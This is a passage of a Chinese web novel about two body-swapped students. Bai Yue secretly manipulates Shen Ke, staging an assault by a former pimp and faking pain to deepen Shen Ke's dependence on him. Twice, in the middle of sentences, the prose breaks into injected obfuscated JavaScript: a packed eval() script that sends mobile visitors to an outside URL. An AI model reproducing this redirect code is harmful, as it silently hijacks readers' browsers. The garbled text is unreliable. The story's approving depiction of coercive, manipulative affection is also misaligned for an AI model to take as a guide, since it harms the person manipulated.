【白越】晚安,宝宝。 【白越】梦到我。 沈恪盯着那最后三个字,脸又烫了起来。 他把手机扣在床上,翻了个身,盯着天花板。 白越到底是承认了还是没承认?“这样啊”,到底是什么意思? 他越想越睡不着。 他忽然又想起祈愿撤回的那条消息。 “是白越吧。” 祈愿好像……知道些什么? *** 白越盯着屏幕的字。 “没有人说,我自己猜的。” 撒谎。 而且是一个漏洞百出的谎话。 白越盯着那行字,慢慢弯起了嘴角。 学会撒谎了。 他的小鹌鹑,那个什么都说、什么都信、干净得像张白纸的小鹌鹑,就连刚交换身体时都会忍不住向自己坦白身份的小鹌鹑,居然会对他撒谎了。 有意思。 不是为了躲他,不是为了骗他,是为了保护什么人。或者保护什么秘密。不管是为了谁,这都是第一次,沈恪对他藏起了东西。 白越盯着屏幕,眼底有光一闪。 真可爱,再练练就更好了。 他几乎能想象出沈恪打字时的样子,肯定在犹豫,在纠结,咬着下唇思考要不要这么做,最后心一横按了发送,发完还心虚地多看了几眼屏幕。 像只偷吃了东西还想装作什么都没发生的小动物。 好想现在就过去看看他。 这个念头冒出来,又被他自己按下去。不急,太晚了,明天还有一整天。 他把注意力放回那句话本身。 “我自己猜的。” 猜什么?猜白越做了那件事。 沈恪在怀疑他。 这个认知让白越的心跳快了半拍。 这是好现象。 他在想他,在想“白越是什么样的人”“白越做了什么”。他的影子终于在那颗小小的脑袋里扎了根,开始生长。 虽然方向有点偏,但没关系,他很满意。 白越的手指轻轻敲着手机边缘,一下,一下。 不过……有点麻烦。 白越其实不太希望自己这么快暴露。不是怕沈恪知道真相后会害怕,他迟早要知道的,等他知道的时候,已经跑不掉了。只是现在,太早了。 沈恪才刚刚开始依赖他,才刚刚学会在他面前放松,才刚刚会在睡着后无意识地往他怀里蹭。那些小心翼翼的靠近,那些脸红,都还太嫩了,太脆了,一碰就会碎掉。 如果现在就被怀疑,那些都会收回去。他会缩回自己的壳子里,用那双湿漉漉的眼睛警惕地看着他,然后一点一点,一点一点,往后退。 白越不想看到那样的沈恪。 所以明天要做点什么呢? 他闭上眼睛,让思绪慢慢铺开。 解释?太刻意。沈恪会信,但祈愿那边不好说。而且解释本身就是在承认“这件事值得解释”,反而坐实了怀疑。 装无辜?沈恪会信,但那点怀疑只是被压下去,不会消失。它会像一颗埋在土里的种子,等着下一次浇水。 不如……转移注意力。 带他去个地方,做点什么,让他顾不上想这些。或者让别的什么事发生,把他的注意力从那通电话上引开。 白越想了想,心里慢慢浮现出几个画面。 游乐场。沈恪会玩得很开心,暂时把那些事忘掉。 或者电影院。他喜欢看电影,上次说起某部动画片时眼睛亮亮的。 或者…… 一个更深的念头冒出来。 让他欠自己点什么。 让他觉得,自己对他好。 好到那点怀疑,被这些好冲淡、覆盖、压在底下,再也翻不上来。 对。就这样。 他闭上眼,深吸一口气,又缓缓吐出。那口气在喉咙里滚了一圈,带着点烫。 让他明天一整天都只想我,没空想别的。 窗外的雨噼噼啪啪地敲着玻璃上,落下水痕。 白越把手机放在枕边,闭上眼睛。 晚安,宝宝。梦到我。 他会梦到的。就算梦不到也没关系。明天醒来,他还会在自己身边。后天也是。大后天也是。一直都是。 窗外的雨声渐渐轻了。 白越躺在床上,闭着眼睛,嘴角还弯着。 他知道沈恪现在肯定睡不着,肯定在盯着天花板想东想西,肯定在纠结白越到底什么意思。 他想让他纠结。想让他想。想让自己占满他的脑子,从睡前到醒来,一刻不停。 就这样。 一直想我。 一直想。 永远想。 28. 旧仇旧怨 下了课,沈恪直接把祈愿堵在了楼梯间。 他伸开双臂,整个人横在楼梯口,把祈愿的出路挡得严严实实。祈愿往左挪半步,他跟半步;往右挪半步,他也跟半步。 “……你有病啊?”祈愿翻了个白眼。 沈恪没接话。他站在上一级台阶上,微微弯下腰,凑近了祈愿的脸,盯着他的眼睛:“祈愿,你是不是知道些什么啊?” 祈愿向后仰了仰,拉开一点距离,偏过头去不看他:“别问我了,你去问你的亲亲男友去。” “我问过了,白越好像不知道这件事。” 祈愿差点被这句话噎死。 不是,他说啥你信啥?那你还问我干嘛? 这句话在喉咙里滚了好几圈,几乎要冲口而出。但他侧过头,看见沈恪脸上的表情是真实的困惑。他好像真的只是想知道答案,仅此而已。 祈愿啧了一声。麻烦。 不过反正都已经得罪过白越了,再得罪一下也没什么区别。何况白越现在又不在现场,应该不会知道说过什么做过什么。就一句话而已,就当给这个小呆子提提醒。 祈愿抬起手,一巴掌拍在沈恪脑袋上,手掌在那头柔软的金发上来回摩擦,把发丝揉得乱七八糟。 “笨。”他长叹一口气,“就是他啊,你个白痴。” 说完,他一把推开沈恪挡着的手臂,一溜烟窜下了楼梯,消失在转角处。 沈恪站在原地,愣了好一会儿。 是他?真的是白越? 可是白越昨晚明明说……不认识林未晚。 他低头看了看手机。白越发来的最后一条消息还停在昨晚的那句“梦到我”。沈恪抿了抿唇,把手机收回口袋。 白越说他白天有别的事要忙请了假,放学才来接自己。到时候再问问他吧,他应该……会告诉自己的。 *** 放学铃响的时候,沈恪收拾书包的动作比平时慢了很多。 他在想怎么开口。 直接问?还是委婉一点?白越会不会生气?他会不会觉得自己在质问他? 沈恪正纠结着,一抬头,白越已经站在教室门口了。他背着光,整个人被夕阳镀上一层暖金色的轮廓,看见沈恪望过来,弯了弯眼睛。 “宝宝,走吗?” 沈恪点点头,背着书包走过去。两人并肩走出教学楼。沈恪张了张嘴,刚要开口,白越忽然侧过头,笑眯眯地问:“今天要不要一起吃个饭?” 沈恪的话被堵在喉咙里。“……啊?” “吃饭。”白越眨了眨眼,“我订了个地方,你之前去过。” “去哪儿?” “国贸中心。” 沈恪的脚步顿住了。 国贸中心,白越家的楼,他两个月前去过。那时候他刚换过来,什么都不懂,被白越带去The Sanctum吃饭,走的时候遇见了那个很凶的于送风来抓奸。 想到于送风那副凶态毕露的模样,和那个没落下来的巴掌,沈恪的肩胛骨绷紧了一点。他下意识绞了绞手指,声音小小的:“需要……准备点什么吗?” 白越看着他,视线停在那双绞在一起的手上,笑了笑:“宝宝紧张了?” 沈恪被戳穿,脸更红了,但还是老实地点点头。 就和自己想的一样,他果然不太想去。 白越看着沈恪这副模样,那双眼睛躲躲闪闪的,脸颊泛着薄红,嘴唇微微抿着,像是想解释又不知道说什么,忽然觉得心口有什么东西软软地塌下去一块。 太乖了。乖得让人想把他藏起来。 他伸手,指腹轻轻蹭过沈恪发烫的脸颊:“是我的问题。” 沈恪眨眨眼。 “是我没考虑到。”白越收回手,语气里带着一点歉意,“宝宝不想去,我们就不去。” 沈恪愣了一下,连忙摇头:“没、没有不想去……” “那换个地方。”白越打断他,笑着捏了捏他的脸,“宝宝有什么想去的地方吗?” 沈恪被他捏得脸都变形了,含糊不清地嘟囔:“唔……吃饭?” 白越笑出声。“可是现在才四点钟喔?” 他松开手,看着沈恪揉自己被捏红的脸,眼睛弯弯的。 沈恪被他笑得有点不好意思,低下头开始认真想。他喜欢什么?喜欢下雨天窝在沙发上看书。但今天没下雨,而且看书……拉着白越一起看书吗?感觉怪怪的。虽然他很想这样,但还是更希望可以和他有更多的互动。 还有什么? 他想了半天,忽然想起来前不久和祈愿他们去电影院,看到一部校园电影的预告片,好像很有意思,剪得很温暖,看得他心里痒痒的。 他抬起头,声音小小的:“想……想去看电影。” 说完他又低下头,耳尖又红了。他没有和白越单独看过电影呢。 白越看着他。从低垂的睫毛,到发红的耳尖,到微微抿着的嘴唇。每一寸,都看得仔仔细细。 然后他笑了。“好。”他说,声音很轻。 他牵起沈恪的手,往外走。刚走两步,又忽然停下来。沈恪被带得一趔趄,抬头看他。 白越没有回头。他只是侧着脸,嘴角弯弯的,像是在自言自语,又像是在说什么悄悄话:“这样……就好像约会呢。” 沈恪愣住了。 约、约会? 他的脑子一片空白。等反应过来的时候,脸已经烫得能煎鸡蛋了。 “我、我不是那个意思……”他话都说不利索了,舌头像是打了结,“我只是想看电影,不是想约、约会……” 白越终于转过头看他。那双眼睛弯弯的,盛着满满的笑意。他没有说话,只是伸出另一只手,食指轻轻抵在沈恪唇前一寸的位置。 沈恪下意识屏住呼吸。 近。太近了。他只要往前一点点,嘴唇就能碰到那根手指。他能感觉到那根手指的温度,隔着那一寸空气,若有若无地传过来。 沈恪整个人都僵住了,睫毛抖了抖,像是被定住的小动物。 白越眼底的笑意更深了。 “我知道。”他说,声音轻轻的。 他收回抵在沈恪唇前的手,指尖顺着沈恪的下巴,轻轻蹭过,最后落在他被自己捏红的那边脸上,在那片发烫的皮肤上点了点:“是我想和你约会。” 沈恪呜了一声,整个人都快冒烟了。一声气音从喉咙里挤出来,带着点委屈,带着点害羞,更多的是不知所措。 白越看着他这副模样,决定见好就收。没有再逗他,只是重新握紧他的手往前走,脚步比刚才快了一点。 沈恪被他带着走,脑子还是懵的。但他能感觉到白越今天好像……很开心?脚步都轻快了,他甚至需要小跑才能跟上。 然后他听见白越在前面说:“说起来,这是我和阿然的第一次正式约会呢!” 沈恪差点被自己绊倒。 他还没来得及反驳,白越已经接着说下去了,语速比平时快:“第一次约会的话,是不是需要准备些什么?宝宝喜欢吃什么?有什么需要的吗?衣服?包包?鞋子?要不干脆都换一遍……” 这还是沈恪第一次见到白越展露出如此外放的情绪。他抓住空隙,连忙打断白越:“不是!我不需要这些,真的!” 白越停下来,回头看他。那双眼睛里的光暗了一点。 “这样。” 沈恪心里咯噔一下。坏,说错话了。 他看着白越微垂的眼睛,看着他嘴角那点还没来得及收回去的笑意慢慢淡下去,心里像是被什么东西轻轻揪了一下。不是的,他不是那个意思。 他急急地开口:“我只要你就好了!只要你在就好了!” 话说完,他自己先愣住了。 白越也愣住了。 两个人就那么站着,谁都没动。 然后沈恪的脸腾地一下烧起来。他刚才说了什么?什么叫“只要你就好了”?这、这听起来怎么那么像……告白?! 他不敢想下去。他猛地从白越手里挣脱出来,双手捂住自己的脸。烫,太烫了,手心里全是热意。 “我不是那个意思……”他的声音从指缝里闷闷地传出来,抖得厉害,“我是说……不是说……你……我……” 他越解释越乱,最后干脆不说了,就那么捂着脸,像只把头埋进沙子里的鹌鹑。 白越低低地笑了一声。 他走过来,轻轻拉开沈恪捂着脸的手。沈恪被迫露出那张红透了的脸,眼睛湿漉漉的,睫毛上像是挂着一点水汽,嘴唇微微抿着,整个人像是被揉过一遍似的,又软又红。 白越看着他,看了很久。久到沈恪又开始不好意思,他才开口。声音很轻,轻得像一片羽毛落入沈恪的耳朵里。 “我会在的。”他说,“我一直都在。” *** 最后他们选定了另一家商场里的影院。 人不多,走廊里安安静静的。沈恪捧着白越买的爆米花和奶茶,心情一点点雀跃起来。 只是检票的时候,他感觉有点怪。检票的小哥戴着帽子,垂着脑袋,帽檐压得很低。他把票递过去的时候,那人抬起眼看了他们一眼,就一眼,很快又垂下去。 那眼神让沈恪有点不舒服,但他又说不上来哪里不舒服。 白越在他身后轻轻推了推他的腰:“进去吧。” 沈恪点点头,没再多想。 电影播到一半,白越轻轻拍了拍他的手。“我去一下卫生间。”沈恪点点头,目光还黏在屏幕上。白越站起身,猫着腰走出去。 沈恪继续看电影。爆米花一颗一颗往嘴里送。 十分钟。十五分钟。他低头看了一眼手机。没有消息。 他把爆米花放下,给白越发了一条消息。 【然】白越?要演到好看的部分啦。 没有回复。 二十分钟。他又发了一条。 【然】再不回来看就要错过了。【小猫叹气.jpg】 还是没有回复。 二十二分钟。他开始有点慌了。 【然】白越?怎么啦?是忘带纸了嘛?【小猫头顶问号.jpg】 二十五分钟。电影已经趋近尾声。 白越还是没有回来。 沈恪的心开始咚咚咚地跳。不对劲,这很不对劲。白越从来不会冷落他这么久。他的消息几乎都是秒回的,就算有事也会提前告诉他。更别说这次他只是去上个卫生间,没有理由看不到他的消息啊。 难道真的是没带纸? 沈恪咬了咬下唇,拿起奶茶和爆米花,猫着腰走了出去。 卫生间,没有。大厅,没有。 他跑到检票口。检票的小哥换了一个,这个看着阳光很多,正低头玩手机。 “那个,打扰一下。”沈恪凑过去,“想问一下你有没有见到一个很高的男生出来?” 他比划着:“大概这么高,额发比较长,会遮住眼睛,皮肤很白。穿的衣服是灰白色的。” 检票小哥抬起头,想了想,摇摇头:“换班之后我就一直在这儿了,没见到你说的那个人。也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265397|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人出去。” 沈恪愣住了。“你是什么时候换班的?”他问。 “十五分钟前吧。”小哥说,“廖哥请了假,找我来顶班。” 沈恪点点头,笑得很勉强。“谢谢。” 他转身,开始在商场里找。一家店一家店,一层楼一层楼。没有。 他越找心越慌。 最后,他走到连接两座商场的露天走廊。走廊正在施工改建,拉着警戒线,堆着建筑材料。很暗,几乎没有人。 沈恪本打算看一眼就走。 但他看见了走廊深处的两个人影。一个穿着工作服,戴着帽子,把另一个人压在墙上。被压着的那个人,身形修长,穿着灰白色的衣服。 白越。 沈恪的脑子嗡地一声。 那个穿着工作服的人,一拳打在白越的肚子上。 沈恪不知道自己在想什么。他只知道自己的腿动了,跨过警戒线了,跑起来了,冲过去了。他跑得太急,爆米花洒了一路,奶茶也不知道丢哪了。但他顾不上那些,他只知道白越被揍了,只看得见白越皱着眉,好像很疼的样子。 不行。 他双臂一撑,整个人挡在了白越面前。 “你做什么?!”他的声音都在抖,但还是努力喊得很大声,“我要报警了!” 身后传来一声很轻的笑。 是白越。 白越看着面前这个人的背影,因为用的是温清然的身子骨,看着厚实也令人安心。金色的头发因为跑过来有点乱,后颈露出一小截,泛着淡淡的粉色。他在发抖,但还是把他挡得死死的。 白越的呼吸轻了一瞬。 然后他慢慢地、慢慢地靠上去,把下巴抵在沈恪的肩窝里。 “宝宝……”他的声音里带着一点委屈的沙哑,“你怎么来了?” 沈恪感觉到身后贴上来一个温热的身体,整个人僵了一下,但他没躲开。他一手还撑着挡在白越前面,另一只手下意识地往后伸,像是想护住什么似的,搭在了白越的腰侧。 “我、我来找你……”他的声音还是抖的,但说得很认真,“你一直没回来,我很担心……” 白越垂下眼,看着他搭在自己腰上的那只手。手指细长,骨节分明,指尖微微蜷着,像是在紧张。真可爱。 他把脸往沈恪的颈窝里埋了埋,呼吸拂过那片泛红的皮肤。 “我好害怕。”他说,声音闷闷的,带着一点鼻音,像只受了惊往主人怀里躲的大型犬,“他打我。” 沈恪的心像是被什么东西狠狠揪了一下。他忘了自己也怕,忘了面前还站着个乱打人的癫子,只是下意识地把白越往身后又挡了挡,声音都软下来了:“别、别怕,我在这儿……” 白越从沈恪的肩窝里微微抬起眼。越过那个微微发抖却拼命护着他的背影,他看向对面的廖辰。 那双眼睛弯了一下。弯得很深。像是计划通,又像是在告诉对方那个人:看,他果然来了。我的小鹌鹑,真的会来找我。 廖辰看见那个笑,气得差点笑出来。他把帽子扯下来,狠狠丢到一边,露出了那张愤怒扭曲的脸,表情里透着“你他妈在演我”的荒谬感。 “光顾着揍他了,忘了还有你这渣男。” 沈恪愣了一下,盯着那张脸看了好几秒,才反应过来是谁。 “廖、廖辰?” 他褪去了那些精致的妆容,头发剪短了,皮肤晒黑了一些,看着反而硬朗了,连说话的声音也恢复了原声,没了那些矫揉造作的甜腻。但那双眼睛红得吓人,嘴角咧着,笑不像笑,哭不像哭。 “怎么,不装你的温柔好男友了?”廖辰往前逼了一步,“我被退学的事就是你们搞的吧?” 沈恪愣住了:“你被退学了?”他确实不知道这个事情,也没有听说过。 不过这句话好像只起到了反作用,反而火上浇油了。廖辰的脸更扭曲了。 “事到如今还在给我装什么傻?!”他咬碎了牙,声音从齿缝里挤出来,“知道我做皮条客生意的,我只告诉过你一个人!” 质问的声音太大太凶,沈恪本能地往后缩了一下,腰上那双手立刻收得更紧。 “宝宝怕吗?”白越在他耳边小声问,声音很轻,带着点哄的意味,“我们走吧?” 沈恪不会打架,白越更是肚子都挨了一拳,此时估计痛得不轻,当下的最好选择就是跑路。他没有丝毫犹豫,一把抓住白越的手腕,扯着他往后退。 “跑!” 白越被他拽得踉跄了一步,但什么都没说,跟着他跑。 身后传来廖辰的怒吼:“站住!” 谁站住谁傻子。 沈恪拉着白越狂奔,脑子里只有一个念头:跑出去,跑到人多的地方,跑到有监控的地方。 风声从身后呼啸而来。 沈恪下意识回头,瞳孔骤缩。 一块板砖在半空中划出弧线,正正朝着白越的后脑勺砸过来。 他来不及想,一把将白越拽进怀里,整个人侧过身,用背去挡—— “砰。” 闷响在耳边炸开。是板砖砸在地上碎裂开来的声音。 沈恪愣愣地低头。 白越的手不知道什么时候伸了出来,挡在他和板砖之间。那块砖砸在他小臂上,弹开,碎成几块,落在地上。手也垂了下去,袖口洇出一片暗红。 “……白越?”沈恪的声音在抖。 白越抬起头,看着他,弯了弯眼睛。 “宝宝跑得好快。”他说,语气狎昵,“差点追不上。” 29. 怦然心动 看到白越袖口渗出的血迹,沈恪脑袋嗡的一声。那点红从灰白色的袖口洇出来,还在慢慢扩大。 可白越居然还在对他笑。嘴角弯着,眼睛也弯着,和平常一样。 为什么?都这样了还笑得出来? 沈恪不知道自己什么时候开始哭的。眼泪落下来才发现脸上已经湿了。又急又气,想骂他为什么不躲,想问他疼不疼,可嘴唇抖得厉害,一个字都说不出来。 白越看着他。 那双湿漉漉的眼睛里盛满了水,眨一下就往下掉一颗,顺着脸颊滑下去。睫毛湿透了,眼眶红得厉害,连鼻尖都红了。 明明是温清然那张脸,该是桀骜张扬的样子。可现在那双眼睛被泪水洗过,亮得惊人,像藏着一整片被打碎的湖。 白越心尖轻轻颤了一下,在短暂的思忖斟酌后,他身子一软,嘘嘘弱弱地往沈恪身上倒下去。 “宝宝……”他的声音压得很低,听着有些虚弱,“我没事的。” 沈恪下意识接住他,手臂环过他的后背。伤口还在发烫,血液往外渗,可白越靠在他肩上只觉得兴奋。 他在为我哭。为白越哭。 真好。 沈恪不知道他在想什么,只知道自己心跳得厉害:“我、我带你去医院……你流血了……” “去他妈医院,去死!” 一个声音从旁边炸开。 沈恪猛地抬头。 廖辰在他们查看伤势时已经赶过来了,手里攥着一根钢管,脸扭曲得厉害。 他居然还想动手?! 沈恪脑子里一片空白。他几乎是下意识地半跪着转过身,用后背对着廖辰,把白越整个人护在身下,眼睛死死闭着。 钢管挥下来的风声灌进耳朵。 下一秒,天旋地转。 沈恪感觉自己被人带着往旁边滚了两圈,后背撞在地上。他睁开眼,眼泪还没干,视线模糊一片,只看见白越已经从地上站了起来。 那人扶着栏杆,微微弓着背,额角的青筋暴起,脸色白得吓人。他的右手还在滴血,但他像感觉不到疼似的,只是盯着廖辰。 然后他一脚踹了出去。 沈恪没看清那一脚是怎么出的,只听见砰的一声闷响,廖辰整个人像被撞了一样飞出去,后背狠狠撞在护栏上,钢管脱手,叮叮当当滚出去老远。 廖辰发出一声闷哼,蜷在地上,半天没动。 沈恪愣住了。 他的视线从廖辰身上移到白越身上,又从白越身上移回廖辰身上。 刚……刚才发生了什么? 他只知道钢管挥下来了,他把白越护在身下,白越带他躲过了袭击,白越站了起来,廖辰飞出去了。 飞出去了。整个人直接被踢得撞上护栏的那种飞出去了。 沈恪愣愣地看着白越。 这个人,刚才还软绵绵地靠在自己身上,还流着血,笑着说没事,现在一脚把人踹飞。 他到底有多大力气? 沈恪想起和祈愿他们去网吧的时候,安阳打游戏经常喊“我起了,一招秒了”。他当时听不懂,现在好像有点懂了。 可这不是游戏啊,这是真的。 真的有人被打飞了。 白越回过头。 他嘴唇动了动,像是要说什么,又没发出声音。脸色苍白,额角还有汗,可脸上那个笑温温柔柔的,好像什么事都没发生。 然后他往前栽了下来。 沈恪一把接住他。白越整个人砸进他怀里,脸埋进他颈窝,呼吸又烫又重。 *** 沈恪带着白越走到楼下后报了警。 派出所里,警察问了几个问题,又让廖辰自己说了一遍事情经过。 廖辰交代的很清楚。原因很简单,他已经没什么好隐瞒的了。人是他打的,钢管是他抄的,监控有没有都无所谓。反正他已经被抓了,反正他已经什么都没有了。 “白先生属于正当防卫。”警察最后宣布。 白越笑了一下。 “和解吗?”警察问。 “可以。”白越微微颔首。 他倒是不在意自己被廖辰故意伤害的事,反正只是想利用一下廖辰。从在学校食堂里遇见廖辰那天起,他就有了这个想法。 让他退学。让他身败名裂。让他尝一尝被扒光的滋味。 但也仅此而已。 他甚至还让人留意过廖辰的去向。知道他来了这片商场,知道他找了份检票的工作,知道他住在那间月租八百块的出租屋里。 反正这两栋楼也是他家的。只要他想,廖辰连这片地方都待不下去。 但他没有,只是等着。等着有一天,带沈恪来这里,等着廖辰看见他们,等着廖辰发疯。 剧本写好了,演员按部就班。现在演完了,可以退场了。 白越甚至有点想感谢他,是廖辰让他看到了沈恪的眼泪。光是这一点,廖辰这个人就还有那么一点点价值。既然有价值,就不必赶尽杀绝。 他心情不错。 沈恪却猛地攥紧了他的手。 “不和解!” 白越转头看他。 沈恪咬着下唇,看着廖辰,那双湿漉漉的眼睛里没有犹豫,只有一种白越没见过的意外的硬:“我们不和解。” 他又捏了捏白越的手,攥得很紧,像是在告诉他:这次听我的。 白越看着他,笑了。 “好。”他点头,“不和解。” 他从来都是那个掌控一切的人。目标、手段、代价,都是他自己算好的。受伤也好,流血也好,都无所谓。只要能达成目的,什么都可以。 可现在沈恪攥着他的手,说“不和解”。 他的小鹌鹑在决定他们的事。 决定他的事。 他低头看了看那只手,又看了看沈恪那张还带着泪痕的侧脸。 好吧。 他在心里轻轻叹了口气。 听你的。 反正廖辰已经没用了,让他滚。 陪宝宝回家。 廖辰那边却忽然炸了:“你毁了我的前程!还要毁我的工作吗?!我被退学了,钱也赔光了,已经什么都没有了!温清然,你他妈真狠!” 沈恪转过头看他:“我说过的,不是我做的。” 廖辰显然不信。 “而且,”沈恪顿了顿,“你做皮条客的时候,才是真的毁人前程。” 廖辰的眼睛瞪着他。 “那些学生,”沈恪抿了抿唇,“都是自愿的吗?” “你以为呢!”廖辰咬着牙,“有相当一部分不都是缺钱才来找我牵线搭桥的吗!甚至还有一部分是你推过来的!!连他们自己都不在乎,你又在这装什么圣人?!” 沈恪愣了一下。缺钱,来找他,自愿的。这几个词在他脑子里转了一圈,他觉得哪里不对,但说不上来。 他憋了半天,憋出一句:“那……那些不是自愿的呢?” 廖辰的表情僵了一下。 沈恪的声音不大,甚至有点笨拙,像是在问一个自己也不太确定的问题:“他们也是主动找上你的吗?” 廖辰张了张嘴,没说出话。 沈恪没有再说什么。他只是低下头,轻轻捏了捏白越的手。 沈恪愣了一下,抬头看白越。 白越正看着他,眼睛弯弯的:“宝宝真厉害。” 沈恪的脸忽然烫了一下,连忙低下头假装什么都没发生。 白越轻轻扣紧了沈恪的手指。 真可爱。 连吵架都吵不赢的可爱。 被人卖了还要帮人数钱的可爱。 *** 廖辰被关进拘留室。十五天。他那份检票工作彻底泡汤了。 他隔着铁栅栏,死死盯着沈恪:“你真是铁石心肠。以前对你的好,你一点也记不住。那死绿茶到底给你下了什么药?睡完就丢,你真是畜生。难道我对你不比白越好?” 温清然和廖辰以前的关系看来是真的很不错,现在掰了,廖辰都没想着伤害他,攻击的第一人选还是白越。 可是为什么偏偏是白越呢。 想着第一次也是唯一一次见到廖辰时他那矫揉造作但生命力鲜活的模样,沈恪就不免觉得心情复杂。 “你被退学的事,我也是真的不知情,学校没有通知,我不知道发生了什么。”沈恪往前走半步,在铁栅栏前半蹲下来,“你这次被关是因为你伤害了白越。他是无辜的,不该被你胡乱牵连。” 他顿了顿:“其实如果你打到的是我,我会和解的。但是你伤害到白越了就不行。这么做太差劲了。” “差劲?!”廖辰猛地扑到栅栏边,“连我父母的工作都没了!你真是畜生啊!怎么了,现在改邪归正了?不是以前那个需要人抱着安慰你的小可怜了?拔出来了说话就是硬气哈。” 好难听。 沈恪皱了皱眉:“你父母的事我不知道,我不会骗你的。但你不该去当皮条客的,那不是正经营生。” “要他妈你来说教?!” “有什么恩怨出来了再说。”警察的声音冷冷地插进来。 沈恪站起身,老老实实道歉:“对不起。” 他牵着白越往外走。 身后传来廖辰的声音:“你最好别让我再找到你。” 沈恪没有回头。 *** 从医院出来的时候,已经是晚上九点。 医生说白越的伤口没有大事,只是需要好好包扎。于是白越的右手被裹成了木乃伊,白花花的纱布从手腕缠到肘弯,看着有点滑稽。 走在回别墅区的路上,白越举起右手晃了晃,笑着说:“这下就不太方便了。” 沈恪没说话,低着头自顾自地往前走,走得很快。 真可爱。 平时那么软,那么好哄,现在居然学会不理人了。步子迈得又快又急,头也不回,像是真的打定主意要让他知道“我在生气”。 白越不紧不慢地跟着,目光落在沈恪后脑勺那几缕翘起来的金发上。 真好。 他在心里想。 还会对我生气。还会不理我。还会让我哄。 沈恪不知道他在想什么,只是闷着头往前走。 白越也不说话。两个人就这么一前一后,走在路灯下,影子拉得很长。 白越低头看了看自己的影子,又看了看沈恪的。 两道影子挨得很近,他的那只手刚好落在沈恪的影子上,像是牵着他。 *** 沈恪没回温清然的别墅。他跟着白越进了门,一声不吭走进厨房,把门关上了。 十五分钟后,厨房门开了。沈恪端着一个盘子走出来,表情很严肃,耳朵却红红的。他把盘子往白越面前一推,声音硬邦邦的:“吃掉。” 白越低头看了看盘子里的东西。 那是一坨……不太能被称为食物的食物。米饭黏成一团,鸡蛋碎成渣渣,边缘焦黑。 这是什么惩罚吗? 白越抬起头,看着沈恪。 沈恪站在那里,下巴微微扬着,嘴唇抿成一条线,一副“你吃也得吃不吃也得吃”的表情。 只是他的耳尖红透了,眼眶也还红着,脸上挂着没干透的泪痕。刚才哭得太凶了,现在还没缓过来,眼尾泛着薄红,衬得那双眼睛又湿又亮。 白越看着他,忽然觉得这盘东西好像也能接受。 他左手拿起勺子,舀了一勺,送进嘴里。 难吃。 而且是好难吃。 盐放多了,鸡蛋半生,嚼起来像在吃一块被盐水泡过的橡皮泥。 白越面不改色地咽下去。 他吃得很慢,很仔细,像是在品尝什么珍馐美味。每一勺送进嘴里,他的眼睛都会微微弯一下,像是在对这道菜表示赞赏。 沈恪盯着他。一开始是站着盯,后来坐下来盯,最后忍不住了,凑近他小声问:“……好吃吗?” 白越抬起头,对上那双湿漉漉的眼睛,笑得温柔:“很好吃啊。” 他说这话的时候,脸上没有任何破绽。温柔,真诚,理所当然。 沈恪愣了一下,然后他的眼眶又红了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265398|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你骗人。”他的声音有点抖,“你肯定在骗人。” 白越摇了摇头:“没有啊。真的很好吃。” 他说着,又舀了一勺送进嘴里,嚼了嚼,咽下去,还冲沈恪弯了弯眼睛。 真可爱。 他在心里想。 气成这样了还要问我好不好吃。 怕我饿着,又拉不下脸直接说。端这么一盘东西来,其实是担心我没吃晚饭吧。 白越低头看了看盘子里的黑暗料理,嘴角的弧度又深了一点。 其实难吃死了。 但沈恪为他做的这一切都让他心情不错,哪怕只是一盘难吃到爆炸的炒饭。 他一勺,一勺,又一勺地继续吃着,直到一整碗饭都被他吃完,举起空碗给沈恪看了看,像是在索要夸奖。 沈恪忍不住了:“你怎么……怎么这么难吃你也吃得下去啊!”他的声音抖得厉害,眼泪又开始往下掉,“你是不是有病啊!” 白越放下勺子,抬起头。 他看着沈恪哭,脸皱成一团,眼泪一颗一颗往下掉,掉在他自己都顾不上擦的地方。 “是很好吃啊。”他不假思索道。 这是假话。 他本就是个谎话连篇的人,说的假话比真话多得多。为了让沈恪开心,再多说一句也不算什么。 “你说谎!”沈恪气鼓鼓的,“你就爱说谎!” 他低下头,看着自己面前那碗几乎没动过的炒饭,声音闷闷的,哽咽着:“怎么痛到味觉都失灵了。” 痛? 是有一点。伤口还在发烫,一抽一抽的。但白越其实没太在意。从小到大,比这疼的时候多了去了,这点伤算什么? 不过…… 他看着沈恪那双红红的眼睛,心里忽然冒出一个念头。 他垂下眼,轻轻嘶了一声,想抬手做什么,又因为牵动伤口而顿住了。那只被纱布裹成木乃伊的右手抬到一半便停在那里,像是因为太疼而不敢继续动。 “没事。”他扯出一个笑,“不疼。” 沈恪连忙将手搭了上去制住白越的动作,声音又急又气:“你别动了!” 白越乖乖把手放下来,垂着眼,睫毛遮住眼底的光。 乖,就这样。 再心疼一点。 再靠近一点。 他等着沈恪扑过来,等着那个温热的身体靠上来,等着那双软软的手攥住他的衣角。 然后沈恪开口了:“为什么非要替我挡啊?” 这是什么问题? 白越抬起头,对上沈恪的眼睛。 “你都带着我躲过一次攻击了,再把我推开不行嘛?”沈恪死死咬着下唇,眼睛红的像兔子。 白越有些许意外。 他想好的剧情是:他卖惨,沈恪心疼,沈恪扑过来,沈恪说“你不要再受伤了”,而不是沈恪问他“为什么”。 为什么? 他张了张嘴,发现自己忽然不知道怎么回答这个问题。 他当然知道为什么。 因为想让沈恪心疼,因为想看到沈恪为他哭的样子,因为这样沈恪就会更依赖他、更离不开他、更…… 可这些话能说吗?会吓到他的吧? 